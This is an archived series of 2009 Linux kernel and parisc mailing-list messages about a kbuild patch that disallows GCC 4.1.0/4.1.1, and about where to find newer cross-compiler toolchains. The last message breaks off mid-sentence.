Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230921026 12727 80.91.229.12 (2 Jan 2009 18:30:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:30:26 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Vegard Nossum <vegard@kernel.org>, Ingo Molnar <mingo@elte.hu>,
	David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758957AbZABSaB@vger.kernel.org Fri Jan 02 19:31:33 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1758957AbZABSaB@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIont-00014Y-Jw
	for glk-linux-kernel-3@gmane.org; Fri, 02 Jan 2009 19:31:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758957AbZABSaB (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Fri, 2 Jan 2009 13:30:01 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758735AbZABS3v
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Fri, 2 Jan 2009 13:29:51 -0500
Original-Received: from acsinet11.oracle.com ([141.146.126.233]:26440 "EHLO
	acsinet11.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757682AbZABS3u (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Fri, 2 Jan 2009 13:29:50 -0500
Original-Received: from rgminet15.oracle.com (rcsinet15.oracle.com [148.87.113.117])
	by acsinet11.oracle.com (Switch-3.3.1/Switch-3.3.1) with ESMTP id n02IULo4014000
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Fri, 2 Jan 2009 18:30:23 GMT
Original-Received: from acsmt703.oracle.com (acsmt703.oracle.com [141.146.40.81])
	by rgminet15.oracle.com (Switch-3.3.1/Switch-3.3.1) with ESMTP id n02ILGCW003508;
	Fri, 2 Jan 2009 18:21:17 GMT
Original-Received: from [192.168.1.4] (/71.117.247.66)
	by default (Oracle Beehive Gateway v4.0)
	with ESMTP ; Fri, 02 Jan 2009 10:28:51 -0800
User-Agent: Thunderbird 2.0.0.6 (X11/20070801)
In-Reply-To: <20090102182735.GC5905@uranus.ravnborg.org>
X-Source-IP: acsmt703.oracle.com [141.146.40.81]
X-Auth-Type: Internal IP
X-CT-RefId: str=0001.0A09020A.495E5CE6.0066:SCFSTAT928724,ss=1,fgs=0
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:774527 gmane.linux.ports.parisc:1109
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1109>

Sam Ravnborg wrote:
> On Fri, Jan 02, 2009 at 10:04:27AM -0800, Linus Torvalds wrote:
>>
>> On Fri, 2 Jan 2009, Sam Ravnborg wrote:
>>> Bugger....
>>> Now I cannot do cross compile for: alpha, arm, m68k and sparc.
>>>
>>> Not that I actually try to run these beasts but just being able
>>> to do cross compile has served me well.
>> We _could_ make a "CONFIG_COMPILE_ONLY" check, but wouldn't it be even 
>> nicer to make sure the cross-compiles are something that might actually be 
>> expected to work?
>>
>> I realize that cross-tools tend to lag a bit - the pressure to maintain 
>> them tends to be much lower - but I was sure we had somebody who did a 
>> reasonable cross-compiler toolchain. Is gcc-4.1 really the most modern 
>> thing that is easily available?
> 
> Asked google and it found following page:
> 
>     http://www.kernel.org/pub/tools/crosstool/
> 
> Architecuter   OK?    gcc version
> --------------------------------- 
> alpha          No     gcc 4.0.2
> arm            Yes    gcc 3.4.5
> ia64           Yes    gcc 3.4.5
> m68k           Yes    gcc 3.4.5
> mips           Yes    gcc 3.4.5
> sh4            Yes    gcc 3.4.5
> sparc          Yes    gcc 3.4.5
> sparc64        Yes    gcc 3.4.5
> x86_64         Yes    gcc 3.4.5
> 
> 
> So from this list of tool chains we can continue to do cross builds
> of all except alpha.
> But the gcc version is getting ancient..
> 
> Why it shall be so hard to do cross build toolchains is above my
> imagination but then I also never looked at what it involes.
> 
> Added Vegard that maintain these pages.

I doubt that these are any more recent, but the filenames don't say:

http://userweb.kernel.org/~akpm/cross-compilers/


Yes, it is an ongoing problem.

-- 
~Randy

From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ingo Molnar <mingo@elte.hu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 19:33:53 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20090102183353.GF10072@elte.hu>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org> <20090102182248.GC10072@elte.hu> <20090102182915.GA6143@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230921281 13432 80.91.229.12 (2 Jan 2009 18:34:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:34:41 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:35:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIos0-0002Tp-7R
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:35:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751141AbZABSeY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:34:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751839AbZABSeX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:34:23 -0500
Original-Received: from mx3.mail.elte.hu ([157.181.1.138]:51899 "EHLO mx3.mail.elte.hu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751141AbZABSeW (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:34:22 -0500
Original-Received: from elvis.elte.hu ([157.181.1.14])
	by mx3.mail.elte.hu with esmtp (Exim)
	id 1LIoqK-0002WM-Jt
	from <mingo@elte.hu>; Fri, 02 Jan 2009 19:34:02 +0100
Original-Received: by elvis.elte.hu (Postfix, from userid 1004)
	id 6C7723E21AA; Fri,  2 Jan 2009 19:33:53 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20090102182915.GA6143@uranus.ravnborg.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Received-SPF: neutral (mx3: 157.181.1.14 is neither permitted nor denied by domain of elte.hu) client-ip=157.181.1.14; envelope-from=mingo@elte.hu; helo=elvis.elte.hu;
X-ELTE-VirusStatus: clean
X-ELTE-SpamScore: -1.5
X-ELTE-SpamLevel: 
X-ELTE-SpamCheck: no
X-ELTE-SpamVersion: ELTE 2.0 
X-ELTE-SpamCheck-Details: score=-1.5 required=5.9 tests=BAYES_00 autolearn=no SpamAssassin version=3.2.3
	-1.5 BAYES_00               BODY: Bayesian spam probability is 0 to 1%
	[score: 0.0000]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1110 gmane.linux.kernel:774528
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1110>


* Sam Ravnborg <sam@ravnborg.org> wrote:

> On Fri, Jan 02, 2009 at 07:22:48PM +0100, Ingo Molnar wrote:
> > 
> > * Sam Ravnborg <sam@ravnborg.org> wrote:
> > 
> > > > And it all looks more logical too, imho.
> > > 
> > > Bugger....
> > > Now I cannot do cross compile for: alpha, arm, m68k and sparc.
> > 
> > hm, i just did a successful cross-build from x86 to alpha:
> > 
> >   KSYM    .tmp_kallsyms2.S
> >   AS      .tmp_kallsyms2.o
> >   LD      vmlinux
> >   SYSMAP  System.map
> >   SYSMAP  .tmp_System.map
> > 
> >   phoenix:~/linux/linux> head -6 /dev/shm/tip/build/.config 
> >   #
> >   # Automatically generated make config: don't edit
> >   # Linux kernel version: 2.6.28
> >   # Fri Jan  2 19:28:14 2009
> >   #
> >   CONFIG_ALPHA=y
> > 
> > with these commits present:
> > 
> >   f9d1425: Disallow gcc versions 4.1.{0,1}
> >   f153b82: Sanitize gcc version header includes
> > 
> > what type of cross-build breakage do they cause?
> 
> The default gcc made by demo-alpha with crosstool is version 4.1.0:
> 
>  /opt/crosstool/gcc-4.1.0-glibc-2.3.6/alpha-unknown-linux-gnu/bin/alpha-unknown-linux-gnu-gcc --version
> alpha-unknown-linux-gnu-gcc (GCC) 4.1.0
> Copyright (C) 2006 Free Software Foundation, Inc.
> This is free software; see the source for copying conditions.  There is NO
> warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

ah, ok. I build cross-compilers from scratch, so i have 4.3.3-pre:

 phoenix:~/linux/linux> /opt/crossgcc/cross/bin/alpha-linux-gcc -v
 [...]
 gcc version 4.3.3 20081123 (prerelease) (GCC) 

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Al Viro <viro@ZenIV.linux.org.uk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 18:51:48 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20090102185148.GI28946@ZenIV.linux.org.uk>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain> <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102175737.GA5818@uranus.ravnborg.org> <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230922370 16698 80.91.229.12 (2 Jan 2009 18:52:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 18:52:50 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>, Ingo Molnar <mingo@elte.hu>,
	David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 19:53:55 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIp9c-00009s-RH
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 19:53:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758454AbZABSwU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 13:52:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758472AbZABSwT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 13:52:19 -0500
Original-Received: from zeniv.linux.org.uk ([195.92.253.2]:56473 "EHLO
	ZenIV.linux.org.uk" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758114AbZABSwS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 13:52:18 -0500
Original-Received: from viro by ZenIV.linux.org.uk with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LIp7c-0006OZ-3S; Fri, 02 Jan 2009 18:51:48 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0901021000020.5086@localhost.localdomain>
User-Agent: Mutt/1.5.17 (2007-11-01)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1111 gmane.linux.kernel:774534
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1111>

On Fri, Jan 02, 2009 at 10:04:27AM -0800, Linus Torvalds wrote:
> 
> 
> On Fri, 2 Jan 2009, Sam Ravnborg wrote:
> > 
> > Bugger....
> > Now I cannot do cross compile for: alpha, arm, m68k and sparc.
> > 
> > Not that I actually try to run these beasts but just being able
> > to do cross compile has served me well.
> 
> We _could_ make a "CONFIG_COMPILE_ONLY" check, but wouldn't it be even 
> nicer to make sure the cross-compiles are something that might actually be 
> expected to work?
> 
> I realize that cross-tools tend to lag a bit - the pressure to maintain 
> them tends to be much lower - but I was sure we had somebody who did a 
> reasonable cross-compiler toolchain. Is gcc-4.1 really the most modern 
> thing that is easily available?

FWIW, I'm using 4.3 on all targets at the moment.  See
git://git.kernel.org/pub/scm/linux/kernel/git/viro/toolchain.git/
for fedora-based variant of that sucker.  And yes, it does include
cross-to-sparc; all but sh/sh64, in fact (sh had serious compiler
breakage around 4.3.0 and backporting from -HEAD was far beyond
what I considered reasonable at that point).
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Detlef Riekenberg <wine.dev@web.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 02 Jan 2009 20:05:44 +0100
Lines: 36
Approved: news@gmane.org
Message-ID: <1230923144.5811.11.camel@p4.lan>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
	 <20081231105425.9ccac21d.akpm@linux-foundation.org>
	 <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
	 <20081231.141408.60544902.davem@davemloft.net>
	 <20090102115547.GB3027@elte.hu>
	 <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
	 <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
	 <20090102175737.GA5818@uranus.ravnborg.org>
	 <20090102182248.GC10072@elte.hu>
	 <20090102182915.GA6143@uranus.ravnborg.org>
	 <20090102183353.GF10072@elte.hu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230923167 19286 80.91.229.12 (2 Jan 2009 19:06:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 19:06:07 +0000 (UTC)
Cc: Sam Ravnborg <sam@ravnborg.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	David Miller <davem@davemloft.net>, akpm@linux-foundation.org,
	rdreier@cisco.com, ian.campbell@citrix.com,
	jeremy.fitzhardinge@citrix.com, deller@gmx.de,
	rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca, Dan Kegel <dank@kegel.com>
To: Ingo Molnar <mingo@elte.hu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 20:07:14 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIpMP-0003zP-DA
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 20:07:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757589AbZABTFt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 14:05:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757938AbZABTFs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 14:05:48 -0500
Original-Received: from fmmailgate01.web.de ([217.72.192.221]:60188 "EHLO
	fmmailgate01.web.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753072AbZABTFr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 14:05:47 -0500
Original-Received: from smtp08.web.de (fmsmtp08.dlan.cinetic.de [172.20.5.216])
	by fmmailgate01.web.de (Postfix) with ESMTP id 45A5AFB5B9AC;
	Fri,  2 Jan 2009 20:05:45 +0100 (CET)
Original-Received: from [91.54.27.152] (helo=[192.168.2.20])
	by smtp08.web.de with asmtp (TLSv1:AES256-SHA:256)
	(WEB.DE 4.110 #273)
	id 1LIpL7-0002gp-00; Fri, 02 Jan 2009 20:05:45 +0100
In-Reply-To: <20090102183353.GF10072@elte.hu>
X-Mailer: Evolution 2.22.3.1 
X-Sender: wine.dev@web.de
X-Provags-ID: V01U2FsdGVkX1+g0pcysavmpFnkQrGcIUAXkzGBg+6hUXS58osE
	SDIXUys8/nOmsSqyMCcbaAD/UZbw6jsBkCiWUm0cpJQlKu8w0Q
	g/mu+qVBE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1112 gmane.linux.kernel:774544
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1112>

* Ingo Molnar wrote:
> * Sam Ravnborg <sam@ravnborg.org> wrote:
 
> > > what type of cross-build breakage do they cause?
> > 
> > The default gcc made by demo-alpha with crosstool is version 4.1.0:
> > 
> >  /opt/crosstool/gcc-4.1.0-glibc-2.3.6/alpha-unknown-linux-gnu/bin/alpha-unknown-linux-gnu-gcc --version
> > alpha-unknown-linux-gnu-gcc (GCC) 4.1.0
> > Copyright (C) 2006 Free Software Foundation, Inc.
> > This is free software; see the source for copying conditions.  There is NO
> > warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
> 
> ah, ok. I build cross-compilers from scratch, so i have 4.3.3-pre:
> 
>  phoenix:~/linux/linux> /opt/crossgcc/cross/bin/alpha-linux-gcc -v
>  [...]
>  gcc version 4.3.3 20081123 (prerelease) (GCC) 
> 
> 	Ingo

I forwarded the thread to Dan Kegel to make him aware, that the used gcc
version in crosstools makes problems.


-- 
 
Bye bye ... Detlef



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andi Kleen <andi@firstfloor.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 02 Jan 2009 20:14:58 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <87mye9jz9p.fsf@basil.nowhere.org>
References: <alpine.LFD.2.00.0812310942110.5086@localhost.localdomain>
	<20081231105425.9ccac21d.akpm@linux-foundation.org>
	<alpine.LFD.2.00.0812311318420.5086@localhost.localdomain>
	<20081231.141408.60544902.davem@davemloft.net>
	<20090102115547.GB3027@elte.hu>
	<alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
	<alpine.LFD.2.00.0901020933370.5086@localhost.localdomain>
	<20090102175737.GA5818@uranus.ravnborg.org>
	<alpine.LFD.2.00.0901021000020.5086@localhost.localdomain>
	<20090102185148.GI28946@ZenIV.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230923619 20747 80.91.229.12 (2 Jan 2009 19:13:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 19:13:39 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Sam Ravnborg <sam@ravnborg.org>, Ingo Molnar <mingo@elte.hu>,
	David Miller <davem@davemloft.net>,
	Andrew Morton <akpm@linux-foundation.org>, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	dave@hiauly1.hia.nrc.ca
To: Al Viro <viro@ZenIV.linux.org.uk>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 20:14:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIpTo-0006dc-Lg
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 20:14:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758543AbZABTN2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 14:13:28 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758630AbZABTN1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 14:13:27 -0500
Original-Received: from one.firstfloor.org ([213.235.205.2]:49185 "EHLO
	one.firstfloor.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753072AbZABTN1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 14:13:27 -0500
Original-Received: from basil.firstfloor.org (p5B3CB53E.dip0.t-ipconnect.de [91.60.181.62])
	by one.firstfloor.org (Postfix) with ESMTP id 9EEA81AD0021;
	Fri,  2 Jan 2009 20:27:03 +0100 (CET)
Original-Received: by basil.firstfloor.org (Postfix, from userid 1000)
	id C6F143E6650; Fri,  2 Jan 2009 20:14:58 +0100 (CET)
In-Reply-To: <20090102185148.GI28946@ZenIV.linux.org.uk> (Al Viro's message of "Fri, 2 Jan 2009 18:51:48 +0000")
User-Agent: Gnus/5.1008 (Gnus v5.10.8) Emacs/21.3 (gnu/linux)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1113 gmane.linux.kernel:774547
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1113>

Al Viro <viro@ZenIV.linux.org.uk> writes:
>
> FWIW, I'm using 4.3 on all targets at the moment.  See
> git://git.kernel.org/pub/scm/linux/kernel/git/viro/toolchain.git/
> for fedora-based variant of that sucker.  And yes, it does include
> cross-to-sparc; all but sh/sh64, in fact (sh had serious compiler
> breakage around 4.3.0 and backporting from -HEAD was far beyond
> what I considered reasonable at that point).

The full opensuse distribution also has a couple of spec files for
generating cross compilers from recent versions. These are for
icecream, but can be relatively easily adapted (or the binaries
reused)

In general I don't think building cross compilers is as hard
as it used to be, so it can be reasonably done without any support
scripts too.

Really no excuse to still use the old crosstool crap :)

-Andi

-- 
ak@linux.intel.com
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: resource_size_t printk woes...
Date: Fri, 2 Jan 2009 12:50:21 -0700
Lines: 17
Approved: news@gmane.org
Message-ID: <20090102195021.GB1051@colo.lackof.org>
References: <495DDB0E.9010203@gmx.de> <20090102164303.605D94EF0@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230925846 29022 80.91.229.12 (2 Jan 2009 19:50:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 19:50:46 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, dave.anglin@nrc-cnrc.gc.ca,
	kyle@infradead.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 20:51:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIq3k-0002fS-Fo
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 20:51:52 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751168AbZABTuf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 14:50:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751179AbZABTuf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 14:50:35 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:51754 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751168AbZABTuf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 14:50:35 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id E82A129C090;
	Fri,  2 Jan 2009 12:50:31 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03175-02; Fri, 2 Jan 2009 12:50:21 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 78DAC29C037; Fri,  2 Jan 2009 12:50:21 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20090102164303.605D94EF0@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1114
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1114>

On Fri, Jan 02, 2009 at 11:43:03AM -0500, John David Anglin wrote:
...
> On this, there is a problem with config's for my c3000.  2.6.28 builds
> and boots fine with a config based on Kyle's allegro config.  However,
> it crashes with thw config that I'd being using.  This is just a guess,
